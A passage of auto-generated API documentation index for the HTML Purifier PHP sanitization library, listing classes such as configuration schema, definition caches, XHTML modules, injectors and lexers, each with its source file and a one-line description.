</dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Custom.html">HTMLPurifier_ChildDef_Custom</a> in Custom.php</div> - <div class="index-item-description">Custom validation class, accepts DTD child definitions</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Empty - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Empty.html">HTMLPurifier_ChildDef_Empty</a> in Empty.php</div> - <div class="index-item-description">Definition that disallows all elements.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Optional - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Optional.html">HTMLPurifier_ChildDef_Optional</a> in Optional.php</div> - <div class="index-item-description">Definition that allows a set of elements, and allows no children.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Required - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Required.html">HTMLPurifier_ChildDef_Required</a> in Required.php</div> - <div class="index-item-description">Definition that allows a set of elements, but disallows empty children.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_StrictBlockquote - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_StrictBlockquote.html">HTMLPurifier_ChildDef_StrictBlockquote</a> in StrictBlockquote.php</div> - <div class="index-item-description">Takes the contents of blockquote when in strict and reformats for validation.</div> - </dd> - <dt class="field"> - HTMLPurifier_ChildDef_Table - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ChildDef_Table.html">HTMLPurifier_ChildDef_Table</a> in Table.php</div> - <div class="index-item-description">Definition for tables</div> - </dd> - <dt class="field"> - HTMLPurifier_Config - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Config.html">HTMLPurifier_Config</a> in Config.php</div> - <div class="index-item-description">Configuration object that triggers customizable behavior.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigDef - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef.html">HTMLPurifier_ConfigDef</a> in ConfigDef.php</div> - <div class="index-item-description">Base class for configuration entity</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigDef_Directive - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Directive.html">HTMLPurifier_ConfigDef_Directive</a> in Directive.php</div> - <div class="index-item-description">Structure object containing definition of a directive.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigDef_DirectiveAlias - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_DirectiveAlias.html">HTMLPurifier_ConfigDef_DirectiveAlias</a> in DirectiveAlias.php</div> - <div class="index-item-description">Structure object describing a directive alias</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigDef_Namespace - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigDef_Namespace.html">HTMLPurifier_ConfigDef_Namespace</a> in Namespace.php</div> - <div class="index-item-description">Structure object describing of a namespace</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema.html">HTMLPurifier_ConfigSchema</a> in ConfigSchema.php</div> - <div class="index-item-description">Configuration definition, defines directives and their defaults.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Builder_ConfigSchema - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_ConfigSchema.html">HTMLPurifier_ConfigSchema_Builder_ConfigSchema</a> in ConfigSchema.php</div> - <div class="index-item-description">Converts HTMLPurifier_ConfigSchema_Interchange to our runtime representation used to perform checks on user configuration.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Builder_Xml - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Builder_Xml.html">HTMLPurifier_ConfigSchema_Builder_Xml</a> in Xml.php</div> - <div class="index-item-description">Converts HTMLPurifier_ConfigSchema_Interchange to an XML format, which can be further processed to generate documentation.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Exception - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Exception.html">HTMLPurifier_ConfigSchema_Exception</a> in Exception.php</div> - <div class="index-item-description">Exceptions related to configuration schema</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Interchange - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange.html">HTMLPurifier_ConfigSchema_Interchange</a> in Interchange.php</div> - <div class="index-item-description">Generic schema interchange format that can be converted to a runtime representation (HTMLPurifier_ConfigSchema) or HTML documentation. Members are completely validated.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_InterchangeBuilder - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_InterchangeBuilder.html">HTMLPurifier_ConfigSchema_InterchangeBuilder</a> in InterchangeBuilder.php</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Interchange_Directive - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Directive.html">HTMLPurifier_ConfigSchema_Interchange_Directive</a> in Directive.php</div> - <div class="index-item-description">Interchange component class describing configuration directives.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Interchange_Id - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Id.html">HTMLPurifier_ConfigSchema_Interchange_Id</a> in Id.php</div> - <div class="index-item-description">Represents a directive ID in the interchange format.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Interchange_Namespace - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Interchange_Namespace.html">HTMLPurifier_ConfigSchema_Interchange_Namespace</a> in Namespace.php</div> - <div class="index-item-description">Interchange component class describing namespaces.</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_Validator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_Validator.html">HTMLPurifier_ConfigSchema_Validator</a> in Validator.php</div> - <div class="index-item-description">Performs validations on HTMLPurifier_ConfigSchema_Interchange</div> - </dd> - <dt class="field"> - HTMLPurifier_ConfigSchema_ValidatorAtom - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ConfigSchema_ValidatorAtom.html">HTMLPurifier_ConfigSchema_ValidatorAtom</a> in ValidatorAtom.php</div> - <div class="index-item-description">Fluent interface for validating the contents of member variables.</div> - </dd> - <dt class="field"> - HTMLPurifier_ContentSets - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ContentSets.html">HTMLPurifier_ContentSets</a> in ContentSets.php</div> - </dd> - <dt class="field"> - HTMLPurifier_Context - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Context.html">HTMLPurifier_Context</a> in Context.php</div> - <div class="index-item-description">Registry object that contains information about the current context.</div> - </dd> - <dt class="field"> - HTMLPurifier_CSSDefinition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_CSSDefinition.html">HTMLPurifier_CSSDefinition</a> in CSSDefinition.php</div> - <div class="index-item-description">Defines allowed CSS attributes and what their values are.</div> - </dd> - <dt class="field"> - HTMLPurifier_Definition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Definition.html">HTMLPurifier_Definition</a> in Definition.php</div> - <div class="index-item-description">Super-class for definition datatype objects, implements serialization functions for the class.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache.html">HTMLPurifier_DefinitionCache</a> in DefinitionCache.php</div> - <div class="index-item-description">Abstract class representing Definition cache managers that implements useful common methods and is a factory.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCacheFactory - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCacheFactory.html">HTMLPurifier_DefinitionCacheFactory</a> in DefinitionCacheFactory.php</div> - <div class="index-item-description">Responsible for creating definition caches.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache_Decorator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator.html">HTMLPurifier_DefinitionCache_Decorator</a> in Decorator.php</div> - <div class="index-item-description">Abstract class representing Definition cache managers that implements useful common methods and is a factory.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache_Decorator_Cleanup - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Cleanup.html">HTMLPurifier_DefinitionCache_Decorator_Cleanup</a> in Cleanup.php</div> - <div class="index-item-description">Definition cache decorator class that cleans up the cache whenever there is a cache miss.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache_Decorator_Memory - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Decorator_Memory.html">HTMLPurifier_DefinitionCache_Decorator_Memory</a> in Memory.php</div> - <div class="index-item-description">Definition cache decorator class that saves all cache retrievals to PHP's memory; good for unit tests or circumstances where there are lots of configuration objects floating around.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache_Null - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Null.html">HTMLPurifier_DefinitionCache_Null</a> in Null.php</div> - <div class="index-item-description">Null cache object to use when no caching is on.</div> - </dd> - <dt class="field"> - HTMLPurifier_DefinitionCache_Serializer - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DefinitionCache_Serializer.html">HTMLPurifier_DefinitionCache_Serializer</a> in Serializer.php</div> - <div class="index-item-description">Abstract class representing Definition cache managers that implements useful common methods and is a factory.</div> - </dd> - <dt class="field"> - HTMLPurifier_Doctype - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Doctype.html">HTMLPurifier_Doctype</a> in Doctype.php</div> - <div class="index-item-description">Represents a document type, contains information on which modules need to be loaded.</div> - </dd> - <dt class="field"> - HTMLPurifier_DoctypeRegistry - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_DoctypeRegistry.html">HTMLPurifier_DoctypeRegistry</a> in DoctypeRegistry.php</div> - </dd> - <dt class="field"> - HTMLPurifier_ElementDef - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ElementDef.html">HTMLPurifier_ElementDef</a> in ElementDef.php</div> - <div class="index-item-description">Structure that stores an HTML element definition. Used by HTMLPurifier_HTMLDefinition and HTMLPurifier_HTMLModule.</div> - </dd> - <dt class="field"> - HTMLPurifier_Encoder - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Encoder.html">HTMLPurifier_Encoder</a> in Encoder.php</div> - <div class="index-item-description">A UTF-8 specific character encoder that handles cleaning and transforming.</div> - </dd> - <dt class="field"> - HTMLPurifier_EntityLookup - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityLookup.html">HTMLPurifier_EntityLookup</a> in EntityLookup.php</div> - <div class="index-item-description">Object that provides entity lookup table from entity name to character</div> - </dd> - <dt class="field"> - HTMLPurifier_EntityParser - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_EntityParser.html">HTMLPurifier_EntityParser</a> in EntityParser.php</div> - <div class="index-item-description">Handles referencing and derefencing character entities</div> - </dd> - <dt class="field"> - HTMLPurifier_ErrorCollector - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorCollector.html">HTMLPurifier_ErrorCollector</a> in ErrorCollector.php</div> - <div class="index-item-description">Error collection class that enables HTML Purifier to report HTML</div> - </dd> - <dt class="field"> - HTMLPurifier_ErrorStruct - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_ErrorStruct.html">HTMLPurifier_ErrorStruct</a> in ErrorStruct.php</div> - <div class="index-item-description">Records errors for particular segments of an HTML document such as tokens, attributes or CSS properties. They can contain error structs (which apply to components of what they represent), but their main purpose is to hold errors applying to whatever struct is being used.</div> - </dd> - <dt class="field"> - HTMLPurifier_Exception - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Exception.html">HTMLPurifier_Exception</a> in Exception.php</div> - <div class="index-item-description">Global exception class for HTML Purifier; any exceptions we throw are from here.</div> - </dd> - <dt class="field"> - HTMLPurifier_Filter - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter.html">HTMLPurifier_Filter</a> in Filter.php</div> - <div class="index-item-description">Represents a pre or post processing filter on HTML Purifier's output</div> - </dd> - <dt class="field"> - HTMLPurifier_Filter_ExtractStyleBlocks - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_ExtractStyleBlocks.html">HTMLPurifier_Filter_ExtractStyleBlocks</a> in ExtractStyleBlocks.php</div> - <div class="index-item-description">This filter extracts <style> blocks from input HTML, cleans them up using CSSTidy, and then places them in $purifier->context->get('StyleBlocks') so they can be used elsewhere in the document.</div> - </dd> - <dt class="field"> - HTMLPurifier_Filter_YouTube - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Filter_YouTube.html">HTMLPurifier_Filter_YouTube</a> in YouTube.php</div> - <div class="index-item-description">Represents a pre or post processing filter on HTML Purifier's output</div> - </dd> - <dt class="field"> - HTMLPurifier_Generator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Generator.html">HTMLPurifier_Generator</a> in Generator.php</div> - <div class="index-item-description">Generates HTML from tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLDefinition - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLDefinition.html">HTMLPurifier_HTMLDefinition</a> in HTMLDefinition.php</div> - <div class="index-item-description">Definition of the purified HTML that describes allowed children, attributes, and many other things.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule.html">HTMLPurifier_HTMLModule</a> in HTMLModule.php</div> - <div class="index-item-description">Represents an XHTML 1.1 module, with information on elements, tags and attributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModuleManager - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModuleManager.html">HTMLPurifier_HTMLModuleManager</a> in HTMLModuleManager.php</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Bdo - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Bdo.html">HTMLPurifier_HTMLModule_Bdo</a> in Bdo.php</div> - <div class="index-item-description">XHTML 1.1 Bi-directional Text Module, defines elements that declare directionality of content. Text Extension Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_CommonAttributes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_CommonAttributes.html">HTMLPurifier_HTMLModule_CommonAttributes</a> in CommonAttributes.php</div> - <div class="index-item-description">Represents an XHTML 1.1 module, with information on elements, tags and attributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Edit - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Edit.html">HTMLPurifier_HTMLModule_Edit</a> in Edit.php</div> - <div class="index-item-description">XHTML 1.1 Edit Module, defines editing-related elements. Text Extension Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Forms - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Forms.html">HTMLPurifier_HTMLModule_Forms</a> in Forms.php</div> - <div class="index-item-description">XHTML 1.1 Forms module, defines all form-related elements found in HTML 4.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Hypertext - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Hypertext.html">HTMLPurifier_HTMLModule_Hypertext</a> in Hypertext.php</div> - <div class="index-item-description">XHTML 1.1 Hypertext Module, defines hypertext links. Core Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Image - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Image.html">HTMLPurifier_HTMLModule_Image</a> in Image.php</div> - <div class="index-item-description">XHTML 1.1 Image Module provides basic image embedding.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Legacy - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Legacy.html">HTMLPurifier_HTMLModule_Legacy</a> in Legacy.php</div> - <div class="index-item-description">XHTML 1.1 Legacy module defines elements that were previously deprecated.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_List - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_List.html">HTMLPurifier_HTMLModule_List</a> in List.php</div> - <div class="index-item-description">XHTML 1.1 List Module, defines list-oriented elements. Core Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Name - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Name.html">HTMLPurifier_HTMLModule_Name</a> in Name.php</div> - <div class="index-item-description">Represents an XHTML 1.1 module, with information on elements, tags and attributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_NonXMLCommonAttributes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_NonXMLCommonAttributes.html">HTMLPurifier_HTMLModule_NonXMLCommonAttributes</a> in NonXMLCommonAttributes.php</div> - <div class="index-item-description">Represents an XHTML 1.1 module, with information on elements, tags and attributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Object - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Object.html">HTMLPurifier_HTMLModule_Object</a> in Object.php</div> - <div class="index-item-description">XHTML 1.1 Object Module, defines elements for generic object inclusion</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Presentation - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Presentation.html">HTMLPurifier_HTMLModule_Presentation</a> in Presentation.php</div> - <div class="index-item-description">XHTML 1.1 Presentation Module, defines simple presentation-related markup. Text Extension Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Proprietary - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Proprietary.html">HTMLPurifier_HTMLModule_Proprietary</a> in Proprietary.php</div> - <div class="index-item-description">Module defines proprietary tags and attributes in HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Ruby - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Ruby.html">HTMLPurifier_HTMLModule_Ruby</a> in Ruby.php</div> - <div class="index-item-description">XHTML 1.1 Ruby Annotation Module, defines elements that indicate short runs of text alongside base text for annotation or pronounciation.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_SafeEmbed - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeEmbed.html">HTMLPurifier_HTMLModule_SafeEmbed</a> in SafeEmbed.php</div> - <div class="index-item-description">A "safe" embed module. See SafeObject. This is a proprietary element.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_SafeObject - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_SafeObject.html">HTMLPurifier_HTMLModule_SafeObject</a> in SafeObject.php</div> - <div class="index-item-description">A "safe" object module. In theory, objects permitted by this module will be safe, and untrusted users can be allowed to embed arbitrary flash objects (maybe other types too, but only Flash is supported as of right now).</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Scripting - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Scripting.html">HTMLPurifier_HTMLModule_Scripting</a> in Scripting.php</div> - <div class="index-item-description">XHTML 1.1 Scripting module, defines elements that are used to contain information pertaining to executable scripts or the lack of support for executable scripts.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_StyleAttribute - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_StyleAttribute.html">HTMLPurifier_HTMLModule_StyleAttribute</a> in StyleAttribute.php</div> - <div class="index-item-description">XHTML 1.1 Edit Module, defines editing-related elements. Text Extension Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tables - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tables.html">HTMLPurifier_HTMLModule_Tables</a> in Tables.php</div> - <div class="index-item-description">XHTML 1.1 Tables Module, fully defines accessible table elements.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Target - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Target.html">HTMLPurifier_HTMLModule_Target</a> in Target.php</div> - <div class="index-item-description">XHTML 1.1 Target Module, defines target attribute in link elements.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Text - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Text.html">HTMLPurifier_HTMLModule_Text</a> in Text.php</div> - <div class="index-item-description">XHTML 1.1 Text Module, defines basic text containers. Core Module.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy.html">HTMLPurifier_HTMLModule_Tidy</a> in Tidy.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_Name - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Name.html">HTMLPurifier_HTMLModule_Tidy_Name</a> in Name.php</div> - <div class="index-item-description">Name is deprecated, but allowed in strict doctypes, so onl</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_Proprietary - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Proprietary.html">HTMLPurifier_HTMLModule_Tidy_Proprietary</a> in Proprietary.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_Strict - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Strict.html">HTMLPurifier_HTMLModule_Tidy_Strict</a> in Strict.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_Transitional - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_Transitional.html">HTMLPurifier_HTMLModule_Tidy_Transitional</a> in Transitional.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_XHTML - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTML.html">HTMLPurifier_HTMLModule_Tidy_XHTML</a> in XHTML.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4 - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4.html">HTMLPurifier_HTMLModule_Tidy_XHTMLAndHTML4</a> in XHTMLAndHTML4.php</div> - <div class="index-item-description">Abstract class for a set of proprietary modules that clean up (tidy) poorly written HTML.</div> - </dd> - <dt class="field"> - HTMLPurifier_HTMLModule_XMLCommonAttributes - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_HTMLModule_XMLCommonAttributes.html">HTMLPurifier_HTMLModule_XMLCommonAttributes</a> in XMLCommonAttributes.php</div> - <div class="index-item-description">Represents an XHTML 1.1 module, with information on elements, tags and attributes.</div> - </dd> - <dt class="field"> - HTMLPurifier_IDAccumulator - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_IDAccumulator.html">HTMLPurifier_IDAccumulator</a> in IDAccumulator.php</div> - <div class="index-item-description">Component of HTMLPurifier_AttrContext that accumulates IDs to prevent dupes</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector.html">HTMLPurifier_Injector</a> in Injector.php</div> - <div class="index-item-description">Injects tokens into the document while parsing for well-formedness.</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_AutoParagraph - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_AutoParagraph.html">HTMLPurifier_Injector_AutoParagraph</a> in AutoParagraph.php</div> - <div class="index-item-description">Injector that auto paragraphs text in the root node based on double-spacing.</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_DisplayLinkURI - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_DisplayLinkURI.html">HTMLPurifier_Injector_DisplayLinkURI</a> in DisplayLinkURI.php</div> - <div class="index-item-description">Injector that displays the URL of an anchor instead of linking to it, in addition to showing the text of the link.</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_Linkify - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_Linkify.html">HTMLPurifier_Injector_Linkify</a> in Linkify.php</div> - <div class="index-item-description">Injector that converts http, https and ftp text URLs to actual links.</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_PurifierLinkify - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_PurifierLinkify.html">HTMLPurifier_Injector_PurifierLinkify</a> in PurifierLinkify.php</div> - <div class="index-item-description">Injector that converts configuration directive syntax %Namespace.Directive</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_RemoveEmpty - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_RemoveEmpty.html">HTMLPurifier_Injector_RemoveEmpty</a> in RemoveEmpty.php</div> - <div class="index-item-description">Injects tokens into the document while parsing for well-formedness.</div> - </dd> - <dt class="field"> - HTMLPurifier_Injector_SafeObject - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Injector_SafeObject.html">HTMLPurifier_Injector_SafeObject</a> in SafeObject.php</div> - <div class="index-item-description">Adds important param elements to inside of object in order to make things safe.</div> - </dd> - <dt class="field"> - HTMLPurifier_Language - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language.html">HTMLPurifier_Language</a> in Language.php</div> - <div class="index-item-description">Represents a language and defines localizable string formatting and other functions, as well as the localized messages for HTML Purifier.</div> - </dd> - <dt class="field"> - HTMLPurifier_LanguageFactory - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_LanguageFactory.html">HTMLPurifier_LanguageFactory</a> in LanguageFactory.php</div> - <div class="index-item-description">Class responsible for generating HTMLPurifier_Language objects, managing caching and fallbacks.</div> - </dd> - <dt class="field"> - HTMLPurifier_Language_en_x_test - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Language_en_x_test.html">HTMLPurifier_Language_en_x_test</a> in en-x-test.php</div> - <div class="index-item-description">Represents a language and defines localizable string formatting and other functions, as well as the localized messages for HTML Purifier.</div> - </dd> - <dt class="field"> - HTMLPurifier_Length - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Length.html">HTMLPurifier_Length</a> in Length.php</div> - <div class="index-item-description">Represents a measurable length, with a string numeric magnitude and a unit. This object is immutable.</div> - </dd> - <dt class="field"> - HTMLPurifier_Lexer - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer.html">HTMLPurifier_Lexer</a> in Lexer.php</div> - <div class="index-item-description">Forgivingly lexes HTML (SGML-style) markup into tokens.</div> - </dd> - <dt class="field"> - HTMLPurifier_Lexer_DirectLex - </dt> - <dd class="index-item-body"> - <div class="index-item-details"><a href="default/HTMLPurifier_Lexer_DirectLex.html">HTMLPurifier_Lexer_DirectLex</a> in DirectLex.php</div> - <div 